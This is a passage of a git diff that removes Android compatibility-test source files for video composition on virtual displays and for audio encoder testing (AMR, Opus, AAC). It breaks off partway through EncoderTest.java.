-                mVerticesData.put(vertices).position(0);
-            }
-
-            /**
-             * initialize the window for composition. counter-part is cleanup()
-             * @throws GlException
-             */
-            public void init() throws GlException {
-                int[] textures = new int[1];
-                GLES20.glGenTextures(1, textures, 0);
-
-                mTextureId = textures[0];
-                GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, mTextureId);
-                checkGlError("glBindTexture mTextureID");
-
-                GLES20.glTexParameterf(GLES11Ext.GL_TEXTURE_EXTERNAL_OES,
-                        GLES20.GL_TEXTURE_MIN_FILTER, GLES20.GL_NEAREST);
-                GLES20.glTexParameterf(GLES11Ext.GL_TEXTURE_EXTERNAL_OES,
-                        GLES20.GL_TEXTURE_MAG_FILTER, GLES20.GL_NEAREST);
-                GLES20.glTexParameteri(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_WRAP_S,
-                        GLES20.GL_CLAMP_TO_EDGE);
-                GLES20.glTexParameteri(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_WRAP_T,
-                        GLES20.GL_CLAMP_TO_EDGE);
-                checkGlError("glTexParameter");
-                mSurfaceTexture = new SurfaceTexture(mTextureId);
-                mSurfaceTexture.setDefaultBufferSize(mWidth, mHeight);
-                mSurface = new Surface(mSurfaceTexture);
-                mSurfaceTexture.setOnFrameAvailableListener(mCompositor);
-            }
-
-            public void cleanup() {
-                mNumTextureUpdated.set(0);
-                if (mTextureId != 0) {
-                    int[] textures = new int[] {
-                            mTextureId
-                    };
-                    GLES20.glDeleteTextures(1, textures, 0);
-                }
-                GLES20.glFinish();
-                if (mSurface != null) {
-                    mSurface.release();
-                    mSurface = null;
-                }
-                if (mSurfaceTexture != null) {
-                    mSurfaceTexture.release();
-                    mSurfaceTexture = null;
-                }
-            }
-
-            /**
-             * make texture as updated so that it can be updated in the next rendering.
-             */
-            public void markTextureUpdated() {
-                mNumTextureUpdated.incrementAndGet();
-            }
-
-            /**
-             * update texture for rendering if it is updated.
-             */
-            public void updateTexImageIfNecessary() {
-                int numTextureUpdated = mNumTextureUpdated.getAndDecrement();
-                if (numTextureUpdated > 0) {
-                    if (DBG) {
-                        Log.i(TAG, "updateTexImageIfNecessary " + this);
-                    }
-                    mSurfaceTexture.updateTexImage();
-                    mSurfaceTexture.getTransformMatrix(mSTMatrix);
-                }
-                if (numTextureUpdated < 0) {
-                    fail("should not happen");
-                }
-            }
-
-            /**
-             * draw the window. It will not be drawn at all if the window is not visible.
-             * @param uSTMatrixHandle shader handler for the STMatrix for texture coordinates
-             * mapping
-             * @param aPositionHandle shader handle for vertex position.
-             * @param aTextureHandle shader handle for texture
-             */
-            public void onDraw(int uSTMatrixHandle, int aPositionHandle, int aTextureHandle) {
-                GLES20.glActiveTexture(GLES20.GL_TEXTURE0);
-                GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, mTextureId);
-                mVerticesData.position(TRIANGLE_VERTICES_DATA_POS_OFFSET);
-                GLES20.glVertexAttribPointer(aPositionHandle, 3, GLES20.GL_FLOAT, false,
-                    TRIANGLE_VERTICES_DATA_STRIDE_BYTES, mVerticesData);
-                GLES20.glEnableVertexAttribArray(aPositionHandle);
-
-                mVerticesData.position(TRIANGLE_VERTICES_DATA_UV_OFFSET);
-                GLES20.glVertexAttribPointer(aTextureHandle, 2, GLES20.GL_FLOAT, false,
-                    TRIANGLE_VERTICES_DATA_STRIDE_BYTES, mVerticesData);
-                GLES20.glEnableVertexAttribArray(aTextureHandle);
-                GLES20.glUniformMatrix4fv(uSTMatrixHandle, 1, false, mSTMatrix, 0);
-                GLES20.glDrawArrays(GLES20.GL_TRIANGLE_STRIP, 0, 4);
-            }
-
-            public SurfaceTexture getSurfaceTexture() {
-                return mSurfaceTexture;
-            }
-
-            public Surface getSurface() {
-                return mSurface;
-            }
-        }
-    }
-
-    static void checkGlError(String op) throws GlException {
-        int error;
-        while ((error = GLES20.glGetError()) != GLES20.GL_NO_ERROR) {
-            Log.e(TAG, op + ": glError " + error);
-            throw new GlException(op + ": glError " + error);
-        }
-    }
-
-    public static class GlException extends Exception {
-        public GlException(String msg) {
-            super(msg);
-        }
-    }
-
-    private interface Renderer {
-        void doRendering(final int color) throws Exception;
-    }
-
-    private static class RotateVirtualDisplayPresentation extends VirtualDisplayPresentation {
-
-        RotateVirtualDisplayPresentation(Context context, Surface surface, int w, int h) {
-            super(context, surface, w, h);
-        }
-
-        @Override
-        protected TestPresentationBase doCreatePresentation() {
-            return new TestRotatePresentation(mContext, mVirtualDisplay.getDisplay());
-        }
-
-    }
-
-    private static class VirtualDisplayPresentation implements Renderer {
-        protected final Context mContext;
-        protected final Surface mSurface;
-        protected final int mWidth;
-        protected final int mHeight;
-        protected VirtualDisplay mVirtualDisplay;
-        protected TestPresentationBase mPresentation;
-        private final DisplayManager mDisplayManager;
-
-        VirtualDisplayPresentation(Context context, Surface surface, int w, int h) {
-            mContext = context;
-            mSurface = surface;
-            mWidth = w;
-            mHeight = h;
-            mDisplayManager = (DisplayManager)context.getSystemService(Context.DISPLAY_SERVICE);
-        }
-
-        void createVirtualDisplay() {
-            runOnMainSync(new Runnable() {
-                @Override
-                public void run() {
-                    mVirtualDisplay = mDisplayManager.createVirtualDisplay(
-                            TAG, mWidth, mHeight, 200, mSurface,
-                            DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY |
-                            DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION);
-                }
-            });
-        }
-
-        void destroyVirtualDisplay() {
-            runOnMainSync(new Runnable() {
-                @Override
-                public void run() {
-                    mVirtualDisplay.release();
-                }
-            });
-        }
-
-        void createPresentation() {
-            runOnMainSync(new Runnable() {
-                @Override
-                public void run() {
-                    mPresentation = doCreatePresentation();
-                    mPresentation.show();
-                }
-            });
-        }
-
-        protected TestPresentationBase doCreatePresentation() {
-            return new TestPresentation(mContext, mVirtualDisplay.getDisplay());
-        }
-
-        TestPresentationBase getPresentation() {
-            return mPresentation;
-        }
-
-        void dismissPresentation() {
-            runOnMainSync(new Runnable() {
-                @Override
-                public void run() {
-                    mPresentation.dismiss();
-                }
-            });
-        }
-
-        @Override
-        public void doRendering(final int color) throws Exception {
-            runOnMainSync(new Runnable() {
-                @Override
-                public void run() {
-                    mPresentation.doRendering(color);
-                }
-            });
-        }
-    }
-
-    private static class TestPresentationBase extends Presentation {
-
-        public TestPresentationBase(Context outerContext, Display display) {
-            // This theme is required to prevent an extra view from obscuring the presentation
-            super(outerContext, display,
-                    android.R.style.Theme_Holo_Light_NoActionBar_TranslucentDecor);
-            getWindow().addFlags(WindowManager.LayoutParams.FLAG_LOCAL_FOCUS_MODE);
-            getWindow().addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
-        }
-
-        public void doRendering(int color) {
-            // to be implemented by child
-        }
-    }
-
-    private static class TestPresentation extends TestPresentationBase {
-        private ImageView mImageView;
-
-        public TestPresentation(Context outerContext, Display display) {
-            super(outerContext, display);
-        }
-
-        @Override
-        protected void onCreate(Bundle savedInstanceState) {
-            super.onCreate(savedInstanceState);
-            mImageView = new ImageView(getContext());
-            mImageView.setImageDrawable(new ColorDrawable(COLOR_RED));
-            mImageView.setLayoutParams(new LayoutParams(
-                    LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT));
-            setContentView(mImageView);
-        }
-
-        public void doRendering(int color) {
-            if (DBG) {
-                Log.i(TAG, "doRendering " + Integer.toHexString(color));
-            }
-            mImageView.setImageDrawable(new ColorDrawable(color));
-        }
-    }
-
-    private static class TestRotatePresentation extends TestPresentationBase {
-        static final int[] kColors = new int[] {COLOR_GREY, COLOR_RED, COLOR_GREEN, COLOR_BLUE};
-        private final ImageView[] mQuadrants = new ImageView[4];
-
-        public TestRotatePresentation(Context outerContext, Display display) {
-            super(outerContext, display);
-        }
-
-        @Override
-        protected void onCreate(Bundle savedInstanceState) {
-            super.onCreate(savedInstanceState);
-            Context ctx = getContext();
-            TableLayout table = new TableLayout(ctx);
-            ViewGroup.LayoutParams fill = new ViewGroup.LayoutParams(
-                    ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT);
-            TableLayout.LayoutParams fillTable = new TableLayout.LayoutParams(
-                    ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT, 1f);
-            TableRow.LayoutParams fillRow = new TableRow.LayoutParams(
-                    ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT, 1f);
-            table.setLayoutParams(fill);
-            table.setStretchAllColumns(true);
-            TableRow rows[] = new TableRow[] {new TableRow(ctx), new TableRow(ctx)};
-            for (int i = 0; i < mQuadrants.length; i++) {
-                mQuadrants[i] = new ImageView(ctx);
-                mQuadrants[i].setImageDrawable(new ColorDrawable(kColors[i]));
-                rows[i / 2].addView(mQuadrants[i], fillRow);
-            }
-            for (TableRow row: rows) {
-                table.addView(row, fillTable);
-            }
-            setContentView(table);
-            Log.v(TAG, "setContentView(table)");
-        }
-
-        @Override
-        public void doRendering(int color) {
-            Log.v(TAG, "doRendering: ignoring color: " + Integer.toHexString(color));
-            for (int i = 0; i < mQuadrants.length; i++) {
-                mQuadrants[i].setImageDrawable(new ColorDrawable(kColors[i]));
-            }
-        }
-
-    }
-
-    private static class TopWindowPresentation extends TestPresentationBase {
-        private FrameLayout[] mWindowsLayout = new FrameLayout[MAX_NUM_WINDOWS];
-        private CompositionTextureView[] mWindows = new CompositionTextureView[MAX_NUM_WINDOWS];
-        private final int mNumWindows;
-        private final Semaphore mWindowWaitSemaphore = new Semaphore(0);
-
-        public TopWindowPresentation(int numWindows, Context outerContext, Display display) {
-            super(outerContext, display);
-            mNumWindows = numWindows;
-        }
-
-        @Override
-        protected void onCreate(Bundle savedInstanceState) {
-            super.onCreate(savedInstanceState);
-            if (DBG) {
-                Log.i(TAG, "TopWindowPresentation onCreate, numWindows " + mNumWindows);
-            }
-            setContentView(R.layout.composition_layout);
-            mWindowsLayout[0] = (FrameLayout) findViewById(R.id.window0);
-            mWindowsLayout[1] = (FrameLayout) findViewById(R.id.window1);
-            mWindowsLayout[2] = (FrameLayout) findViewById(R.id.window2);
-        }
-
-        public void populateWindows() {
-            runOnMain(new Runnable() {
-                public void run() {
-                    for (int i = 0; i < mNumWindows; i++) {
-                        mWindows[i] = new CompositionTextureView(getContext());
-                        mWindows[i].setLayoutParams(new ViewGroup.LayoutParams(
-                                ViewGroup.LayoutParams.MATCH_PARENT,
-                                ViewGroup.LayoutParams.MATCH_PARENT));
-                        mWindowsLayout[i].setVisibility(View.VISIBLE);
-                        mWindowsLayout[i].addView(mWindows[i]);
-                        mWindows[i].startListening();
-                    }
-                    mWindowWaitSemaphore.release();
-                }
-            });
-        }
-
-        public void waitForSurfaceReady(long timeoutMs) throws Exception {
-            mWindowWaitSemaphore.tryAcquire(DEFAULT_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-            for (int i = 0; i < mNumWindows; i++) {
-                if(!mWindows[i].waitForSurfaceReady(timeoutMs)) {
-                    fail("surface wait timeout");
-                }
-            }
-        }
-
-        public Surface getSurface(int windowIndex) {
-            Surface surface = mWindows[windowIndex].getSurface();
-            assertNotNull(surface);
-            return surface;
-        }
-    }
-
-    private static class TopWindowVirtualDisplayPresentation extends VirtualDisplayPresentation {
-        private final int mNumWindows;
-
-        TopWindowVirtualDisplayPresentation(Context context, Surface surface, int w, int h,
-                int numWindows) {
-            super(context, surface, w, h);
-            assertNotNull(surface);
-            mNumWindows = numWindows;
-        }
-
-        void waitForSurfaceReady(long timeoutMs) throws Exception {
-            ((TopWindowPresentation) mPresentation).waitForSurfaceReady(timeoutMs);
-        }
-
-        Surface getSurface(int windowIndex) {
-            return ((TopWindowPresentation) mPresentation).getSurface(windowIndex);
-        }
-
-        protected TestPresentationBase doCreatePresentation() {
-            return new TopWindowPresentation(mNumWindows, mContext, mVirtualDisplay.getDisplay());
-        }
-    }
-
-    private static class RemoteVirtualDisplayPresentation implements Renderer {
-        /** argument: Surface, int w, int h, return none */
-        private static final int BINDER_CMD_START = IBinder.FIRST_CALL_TRANSACTION;
-        /** argument: int color, return none */
-        private static final int BINDER_CMD_RENDER = IBinder.FIRST_CALL_TRANSACTION + 1;
-
-        private final Context mContext;
-        private final Surface mSurface;
-        private final int mWidth;
-        private final int mHeight;
-
-        private IBinder mService;
-        private final Semaphore mConnectionWait = new Semaphore(0);
-        private final ServiceConnection mConnection = new ServiceConnection() {
-
-            public void onServiceConnected(ComponentName arg0, IBinder arg1) {
-                mService = arg1;
-                mConnectionWait.release();
-            }
-
-            public void onServiceDisconnected(ComponentName arg0) {
-                //ignore
-            }
-
-        };
-
-        RemoteVirtualDisplayPresentation(Context context, Surface surface, int w, int h) {
-            mContext = context;
-            mSurface = surface;
-            mWidth = w;
-            mHeight = h;
-        }
-
-        void connect() throws Exception {
-            Intent intent = new Intent();
-            intent.setClassName("android.media.cts",
-                    "android.media.cts.RemoteVirtualDisplayService");
-            mContext.bindService(intent, mConnection, Context.BIND_AUTO_CREATE);
-            if (!mConnectionWait.tryAcquire(DEFAULT_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-                fail("cannot bind to service");
-            }
-        }
-
-        void disconnect() {
-            mContext.unbindService(mConnection);
-        }
-
-        void start() throws Exception {
-            Parcel parcel = Parcel.obtain();
-            mSurface.writeToParcel(parcel, 0);
-            parcel.writeInt(mWidth);
-            parcel.writeInt(mHeight);
-            mService.transact(BINDER_CMD_START, parcel, null, 0);
-        }
-
-        @Override
-        public void doRendering(int color) throws Exception {
-            Parcel parcel = Parcel.obtain();
-            parcel.writeInt(color);
-            mService.transact(BINDER_CMD_RENDER, parcel, null, 0);
-        }
-    }
-
-    private static Size getMaxSupportedEncoderSize() {
-        final Size[] standardSizes = new Size[] {
-            new Size(1920, 1080),
-            new Size(1280, 720),
-            new Size(720, 480),
-            new Size(352, 576)
-        };
-
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        for (Size sz : standardSizes) {
-            MediaFormat format = MediaFormat.createVideoFormat(
-                MIME_TYPE, sz.getWidth(), sz.getHeight());
-            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
-            int bitRate = BITRATE_DEFAULT;
-            if (sz.getWidth() == 1920 && sz.getHeight() == 1080) {
-                bitRate = BITRATE_1080p;
-            } else if (sz.getWidth() == 1280 && sz.getHeight() == 720) {
-                bitRate = BITRATE_720p;
-            } else if (sz.getWidth() == 800 && sz.getHeight() == 480) {
-                bitRate = BITRATE_800x480;
-            }
-            format.setInteger(MediaFormat.KEY_BIT_RATE, bitRate);
-            format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
-            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-            Log.i(TAG,"format = " + format.toString());
-            if (mcl.findEncoderForFormat(format) != null) {
-                return sz;
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Check maximum concurrent encoding / decoding resolution allowed.
-     * Some H/Ws cannot support maximum resolution reported in encoder if decoder is running
-     * at the same time.
-     * Check is done for 4 different levels: 1080p, 720p, 800x480, 480p
-     * (The last one is required by CDD.)
-     */
-    Size checkMaxConcurrentEncodingDecodingResolution() {
-        if (isConcurrentEncodingDecodingSupported(MIME_TYPE, 1920, 1080, BITRATE_1080p)) {
-            return new Size(1920, 1080);
-        } else if (isConcurrentEncodingDecodingSupported(MIME_TYPE, 1280, 720, BITRATE_720p)) {
-            return new Size(1280, 720);
-        } else if (isConcurrentEncodingDecodingSupported(MIME_TYPE, 800, 480, BITRATE_800x480)) {
-            return new Size(800, 480);
-        } else if (isConcurrentEncodingDecodingSupported(MIME_TYPE, 720, 480, BITRATE_DEFAULT)) {
-            return new Size(720, 480);
-        }
-        Log.i(TAG, "SKIPPING test: concurrent encoding and decoding is not supported");
-        return null;
-    }
-
-    boolean isConcurrentEncodingDecodingSupported(
-            String mimeType, int w, int h, int bitRate) {
-        return isConcurrentEncodingDecodingSupported(mimeType, w, h, bitRate, null);
-    }
-
-    boolean isConcurrentEncodingDecodingSupported(
-            String mimeType, int w, int h, int bitRate, String decoderName) {
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        MediaFormat testFormat = MediaFormat.createVideoFormat(mimeType, w, h);
-        testFormat.setInteger(MediaFormat.KEY_BIT_RATE, bitRate);
-        testFormat.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
-        if (mcl.findDecoderForFormat(testFormat) == null
-                || mcl.findEncoderForFormat(testFormat) == null) {
-            return false;
-        }
-
-        MediaCodec decoder = null;
-        OutputSurface decodingSurface = null;
-        MediaCodec encoder = null;
-        Surface encodingSurface = null;
-        try {
-            if (decoderName == null) {
-                decoder = MediaCodec.createDecoderByType(mimeType);
-            } else {
-                decoder = MediaCodec.createByCodecName(decoderName);
-            }
-            MediaFormat decoderFormat = MediaFormat.createVideoFormat(mimeType, w, h);
-            decodingSurface = new OutputSurface(w, h);
-            decodingSurface.makeCurrent();
-            decoder.configure(decoderFormat, decodingSurface.getSurface(), null, 0);
-            decoder.start();
-
-            MediaFormat format = MediaFormat.createVideoFormat(mimeType, w, h);
-            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
-            format.setInteger(MediaFormat.KEY_BIT_RATE, bitRate);
-            format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
-            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-            encoder = MediaCodec.createEncoderByType(mimeType);
-            encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            encodingSurface = encoder.createInputSurface();
-            encoder.start();
-
-            encoder.stop();
-            decoder.stop();
-        } catch (Exception e) {
-            e.printStackTrace();
-            Log.i(TAG, "This H/W does not support w:" + w + " h:" + h);
-            return false;
-        } finally {
-            if (encodingSurface != null) {
-                encodingSurface.release();
-            }
-            if (encoder != null) {
-                encoder.release();
-            }
-            if (decoder != null) {
-                decoder.release();
-            }
-            if (decodingSurface != null) {
-                decodingSurface.release();
-            }
-        }
-        return true;
-    }
-
-    private static void runOnMain(Runnable runner) {
-        sHandlerForRunOnMain.post(runner);
-    }
-
-    private static void runOnMainSync(Runnable runner) {
-        SyncRunnable sr = new SyncRunnable(runner);
-        sHandlerForRunOnMain.post(sr);
-        sr.waitForComplete();
-    }
-
-    private static final class SyncRunnable implements Runnable {
-        private final Runnable mTarget;
-        private boolean mComplete;
-
-        public SyncRunnable(Runnable target) {
-            mTarget = target;
-        }
-
-        public void run() {
-            mTarget.run();
-            synchronized (this) {
-                mComplete = true;
-                notifyAll();
-            }
-        }
-
-        public void waitForComplete() {
-            synchronized (this) {
-                while (!mComplete) {
-                    try {
-                        wait();
-                    } catch (InterruptedException e) {
-                        //ignore
-                    }
-                }
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/EncoderTest.java b/tests/tests/media/src/android/media/cts/EncoderTest.java
deleted file mode 100644
index d41841a..0000000
--- a/tests/tests/media/src/android/media/cts/EncoderTest.java
+++ /dev/null
@@ -1,535 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaFormat;
-import android.media.MediaMuxer;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.nio.BufferOverflowException;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.Random;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-@SmallTest
-@RequiresDevice
-@AppModeFull(reason = "Instant apps cannot access the SD card")
-public class EncoderTest extends AndroidTestCase {
-    private static final String TAG = "EncoderTest";
-    private static final boolean VERBOSE = false;
-
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-    private static final int kNumInputBytes = 512 * 1024;
-    private static final long kTimeoutUs = 100;
-
-    // not all combinations are valid
-    private static final int MODE_SILENT = 0;
-    private static final int MODE_RANDOM = 1;
-    private static final int MODE_RESOURCE = 2;
-    private static final int MODE_QUIET = 4;
-    private static final int MODE_SILENTLEAD = 8;
-
-    /*
-     * Set this to true to save the encoding results to /data/local/tmp
-     * You will need to make /data/local/tmp writeable, run "setenforce 0",
-     * and remove files left from a previous run.
-     */
-    private static boolean sSaveResults = false;
-    static final Map<String, String> mDefaultEncoders = new HashMap<>();
-
-    @Override
-    public void setContext(Context context) {
-        super.setContext(context);
-    }
-
-    static boolean isDefaultCodec(String codecName, String mime)
-            throws IOException {
-        if (mDefaultEncoders.containsKey(mime)) {
-            return mDefaultEncoders.get(mime).equalsIgnoreCase(codecName);
-        }
-
-        MediaCodec codec = MediaCodec.createEncoderByType(mime);
-        boolean isDefault = codec.getName().equalsIgnoreCase(codecName);
-        mDefaultEncoders.put(mime, codec.getName());
-        codec.release();
-        return isDefault;
-    }
-
-    public void testAMRNBEncoders() {
-        LinkedList<MediaFormat> formats = new LinkedList<MediaFormat>();
-
-        final int kBitRates[] =
-            { 4750, 5150, 5900, 6700, 7400, 7950, 10200, 12200 };
-
-        for (int j = 0; j < kBitRates.length; ++j) {
-            MediaFormat format  = new MediaFormat();
-            format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_AUDIO_AMR_NB);
-            format.setInteger(MediaFormat.KEY_SAMPLE_RATE, 8000);
-            format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 1);
-            format.setInteger(MediaFormat.KEY_BIT_RATE, kBitRates[j]);
-            formats.push(format);
-        }
-
-        testEncoderWithFormats(MediaFormat.MIMETYPE_AUDIO_AMR_NB, formats);
-    }
-
-    public void testAMRWBEncoders() {
-        LinkedList<MediaFormat> formats = new LinkedList<MediaFormat>();
-
-        final int kBitRates[] =
-            { 6600, 8850, 12650, 14250, 15850, 18250, 19850, 23050, 23850 };
-
-        for (int j = 0; j < kBitRates.length; ++j) {
-            MediaFormat format  = new MediaFormat();
-            format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_AUDIO_AMR_WB);
-            format.setInteger(MediaFormat.KEY_SAMPLE_RATE, 16000);
-            format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 1);
-            format.setInteger(MediaFormat.KEY_BIT_RATE, kBitRates[j]);
-            formats.push(format);
-        }
-
-        testEncoderWithFormats(MediaFormat.MIMETYPE_AUDIO_AMR_WB, formats);
-    }
-
-    @CddTest(requirement="5.1.3")
-    public void testOpusEncoders() {
-        LinkedList<MediaFormat> formats = new LinkedList<MediaFormat>();
-
-        final int kBitRates[] =
-            { 8000, 12000, 16000, 24000, 48000 };
-
-        for (int j = 0; j < kBitRates.length; ++j) {
-            for (int nChannels = 1; nChannels <= 2; ++nChannels) {
-                MediaFormat format  = new MediaFormat();
-                format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_AUDIO_OPUS);
-                format.setInteger(MediaFormat.KEY_SAMPLE_RATE, 16000);
-                format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, nChannels);
-                format.setInteger(MediaFormat.KEY_BIT_RATE, kBitRates[j]);
-                formats.push(format);
-            }
-        }
-
-        testEncoderWithFormats(MediaFormat.MIMETYPE_AUDIO_OPUS, formats);
-    }
-
-    public void testAACEncoders() {
-        LinkedList<MediaFormat> formats = new LinkedList<MediaFormat>();
-
-        final int kAACProfiles[] = {
-            2 /* OMX_AUDIO_AACObjectLC */,
-            5 /* OMX_AUDIO_AACObjectHE */,
-            39 /* OMX_AUDIO_AACObjectELD */
-        };
-
-        final int kSampleRates[] = { 8000, 11025, 22050, 44100, 48000 };
-        final int kBitRates[] = { 64000, 128000 };
-
-        for (int k = 0; k < kAACProfiles.length; ++k) {
-            for (int i = 0; i < kSampleRates.length; ++i) {
-                if (kAACProfiles[k] == 5 && kSampleRates[i] < 22050) {
-                    // Is this right? HE does not support sample rates < 22050Hz?
-                    continue;
-                }
-                for (int j = 0; j < kBitRates.length; ++j) {
-                    for (int ch = 1; ch <= 2; ++ch) {
-                        MediaFormat format  = new MediaFormat();
-                        format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_AUDIO_AAC);
-
-                        format.setInteger(
-                                MediaFormat.KEY_AAC_PROFILE, kAACProfiles[k]);
-
-                        format.setInteger(
-                                MediaFormat.KEY_SAMPLE_RATE, kSampleRates[i]);
-
-                        format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, ch);
-                        format.setInteger(MediaFormat.KEY_BIT_RATE, kBitRates[j]);
-                        formats.push(format);
-                    }
-                }
-            }
-        }
-
-        testEncoderWithFormats(MediaFormat.MIMETYPE_AUDIO_AAC, formats);
-    }
-
-    private void testEncoderWithFormatsParallel(String mime, List<MediaFormat> formats,
-            List<String> componentNames, int ThreadCount) {
-        int testsStarted = 0;
-        int totalDurationSeconds = 0;
-        ExecutorService pool = Executors.newFixedThreadPool(ThreadCount);
-
-        for (String componentName : componentNames) {
-            for (MediaFormat format : formats) {
-                assertEquals(mime, format.getString(MediaFormat.KEY_MIME));
-                pool.execute(new EncoderRun(componentName, format));
-                int sampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
-                int channelCount = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
-                int bytesQueuedPerSecond = 2 * channelCount * sampleRate;
-                int durationSeconds =
-                        (kNumInputBytes + bytesQueuedPerSecond - 1) / bytesQueuedPerSecond;
-                totalDurationSeconds += durationSeconds * kNumEncoderTestsPerRun;
-                testsStarted++;
-            }
-        }
-        try {
-            pool.shutdown();
-            Log.i(TAG, "waiting up to " + totalDurationSeconds + " seconds for "
-                            + testsStarted + " sub-tests to finish");
-            assertTrue("timed out waiting for encoder threads",
-                    pool.awaitTermination(totalDurationSeconds, TimeUnit.SECONDS));
-        } catch (InterruptedException e) {
-            fail("interrupted while waiting for encoder threads");
-        }
-    }
-
-    private void testEncoderWithFormats(
-            String mime, List<MediaFormat> formatList) {
-        MediaFormat[] formats = formatList.toArray(new MediaFormat[formatList.size()]);
-        String[] componentNames = MediaUtils.getEncoderNames(formats);
-        if (componentNames.length == 0) {
-            MediaUtils.skipTest("no encoders found for " + Arrays.toString(formats));
-            return;
-        }
-
-        final int ThreadPoolCount = 3;
-        List<String>[] componentNamesGrouped = new List[ThreadPoolCount];
-        for (int i = 0; i < ThreadPoolCount; i++) {
-            componentNamesGrouped[i] = new ArrayList<>();
-        }
-        for (String componentName : componentNames) {
-            MediaCodec codec = null;
-            try {
-                codec = MediaCodec.createByCodecName(componentName);
-                MediaCodecInfo info = codec.getCodecInfo();
-                MediaCodecInfo.CodecCapabilities cap = info.getCapabilitiesForType(mime);
-                int instances = Math.min(cap.getMaxSupportedInstances(), ThreadPoolCount);
-                assertTrue(instances >= 1 && instances <= ThreadPoolCount);
-                componentNamesGrouped[instances - 1].add(componentName);
-            } catch (Exception e) {
-                fail("codec '" + componentName + "' failed construction.");
-            } finally {
-                codec.release();
-            }
-        }
-        for (int i = 0; i < ThreadPoolCount; i++) {
-            if (componentNamesGrouped[i].size() > 0) {
-                testEncoderWithFormatsParallel(mime, formatList, componentNamesGrouped[i], i + 1);
-            }
-        }
-    }
-
-    // See bug 25843966
-    private static long[] mBadSeeds = {
-            101833462733980l, // fail @ 23680 in all-random mode
-            273262699095706l, // fail @ 58880 in all-random mode
-            137295510492957l, // fail @ 35840 in zero-lead mode
-            57821391502855l,  // fail @ 32000 in zero-lead mode
-    };
-
-    private int queueInputBuffer(
-            MediaCodec codec, ByteBuffer[] inputBuffers, int index,
-            InputStream istream, int mode, long timeUs, Random random) {
-        ByteBuffer buffer = inputBuffers[index];
-        buffer.rewind();
-        int size = buffer.limit();
-
-        if ((mode & MODE_RESOURCE) != 0 && istream != null) {
-            while (buffer.hasRemaining()) {
-                try {
-                    int next = istream.read();
-                    if (next < 0) {
-                        break;
-                    }
-                    buffer.put((byte) next);
-                } catch (Exception ex) {
-                    Log.i(TAG, "caught exception writing: " + ex);
-                    break;
-                }
-            }
-        } else if ((mode & MODE_RANDOM) != 0) {
-            if ((mode & MODE_SILENTLEAD) != 0) {
-                buffer.putInt(0);
-                buffer.putInt(0);
-                buffer.putInt(0);
-                buffer.putInt(0);
-            }
-            while (true) {
-                try {
-                    int next = random.nextInt();
-                    buffer.putInt(random.nextInt());
-                } catch (BufferOverflowException ex) {
-                    break;
-                }
-            }
-        } else {
-            byte[] zeroes = new byte[size];
-            buffer.put(zeroes);
-        }
-
-        if ((mode & MODE_QUIET) != 0) {
-            int n = buffer.limit();
-            for (int i = 0; i < n; i += 2) {
